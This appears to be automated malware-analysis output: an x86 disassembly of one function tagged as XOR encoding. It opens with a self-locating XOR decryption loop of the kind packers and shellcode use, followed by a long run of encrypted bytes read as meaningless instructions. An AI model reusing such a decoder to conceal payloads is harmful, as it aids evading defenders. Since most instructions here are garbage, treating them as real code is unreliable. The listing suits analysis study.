Function at 0x103ae1fc
Capabilities:
Encode data using xor

Disassembly:
jmp 0x103ae206
pushal
call 0x103ae20c
add byte [eax], al
pop ebp
sub ebp, 0x10
sub ebp, 0x3ae1fc
mov al, byte [esp + 0x28]
cmp al, 1
je 0x103ae230
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x103ae239
mov eax, 0x3ae1fc
add eax, ebp
add eax, 0x63
mov ecx, 0x5f1
mov edx, 0xfc2b1168
add eax, 0x68ba0000
adc dword [ebx], ebp
cld
xor byte [eax], dl
inc eax
dec ecx
jne 0x103ae250
jmp 0x103ae263
jecxz 0x103ae20a
jecxz 0x103ae248
push esp
push 0xa9e96868
nop
push 0xa56b6868
shr byte [ebp + 0x68], 1
push 0x6840d268
push 0x6b8a9f68
mov al, byte [0x6864e9e3]
push 0xe5ad6b68
or al, 0x4c
xchg esp, eax
loope 0x103ae2fb
dec esp
cmp byte [eax], al
lock adc esp, dword [esi + 0x68]
add byte [esi + ecx], cl
inc esp
push 0x4c4469
xor ah, bh
in eax, 0xc4
sub byte [ebp + 0x68], 0x68
push 0x68684681
push 0xe384e33d
in eax, dx
pushal
push 0xfde36868
push 0xe5e36868
js 0x103ae328
push 0x6a81a968
pop ecx
push 0xffffffffffffffeb
stosb byte es:[edi], al
insb byte es:[edi], dx
and dword [edi - 0x13], esp
pushfd
xchg edi, eax
xchg edi, eax
xchg edi, eax
jecxz 0x103ae317
dec esp
in eax, 0xc
dec esp
insb byte es:[edi], dx
stosb byte es:[edi], al
push 0x6c4ce4e3
push 0xf0006868
adc esp, dword [esi + 0x68]
add byte [esi + ecx], cl
inc esp
push 0x394c4469
sub byte [ebp + 0x68], 0x68
push 0x686a2f81
push 0x944c0ce5
push 0x4c0ce568
or al, 0x4c
xchg esp, eax
loope 0x103ae344
dec esp
in eax, 4
dec esp
push 0x97641d97
sbb eax, 0x681a8060
push 0x60d5e368
push 0xa15b6868
jmp 0x1cadc6b7
mov eax, dword [0x72e39ae9]
or al, 0x22
jmp 0x1cadc6bd
insd dword es:[edi], dx
and byte [edi - 0x14], ah
push 0xe0676868
and byte [eax + 0x68], ch
push 0x5174e30e
call 0xfca263d2
jb 0x103ae3a9
push 0x8193e868
in al, dx
jns 0x103ae3b2
xchg ebx, eax
and dword [edi - 0x14], 0x68686879
push cs
jmp 0x77887ae5
push 0x93e90e68
xchg edi, eax
dec ebp
in al, dx
jge 0x103ae3bd
push 0xa4812968
xchg edi, eax
xchg edi, eax
xchg edi, eax
inc ecx
and al, 0x51
imul ebp, ebx, 0x80eb6da9
insb byte es:[edi], dx
adc ebp, 0x41979797
cmp al, 0x51
push 0xffffffffffffffeb
test eax, 0x6c82eb6e
jmp 0x103ae2f8
push 0x3e84e33d
aas
cmp eax, 0xe3641de3
adc eax, 0xe8da9460
loop 0x103ae401
jmp 0x78a34d46
imul ebp, dword [eax + 0x68], 0xe96fe068
scasd eax, dword es:[edi]
push 0xafe96fe0
imul ebp, dword [eax + 0x68], 0x686ad368
push 0x67ba6a68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0x103ae36d
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x103ae36d
mov edx, 0x97b0eb67
jmp 0x103ae366
xchg edi, eax
xchg edi, eax
xchg edi, eax
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x103ae380
mov edx, 0x6802eb67
push 0x6aa85b68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0x103ae395
jmp 0x103ae3cb
push 0xba6aa85b
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x103ae395
push 0x7a2e7ee2
mov edx, 0x6942eb67
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x103ae3a8
jmp 0x103ae420
jnp 0x103ae398
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x103ae3b7
jnp 0x103ae3a7
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x103ae3c6
jnp 0x103ae3b6
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x103ae3d5
jnp 0x103ae3c5
in al, dx
outsb dx, byte [esi]
push 0xb7e36868
inc ebx
mov al, 0xe2
imul esp, eax, 0x6f
das
shr dword [edx + 0x68], cl
push 0x97188168
xchg edi, eax
xchg edi, eax
shr byte [ecx + 0x68], 1
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x103ae402
jnp 0x103ae3f2
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0x103ae411
ljmp 0xab43:0x979797b6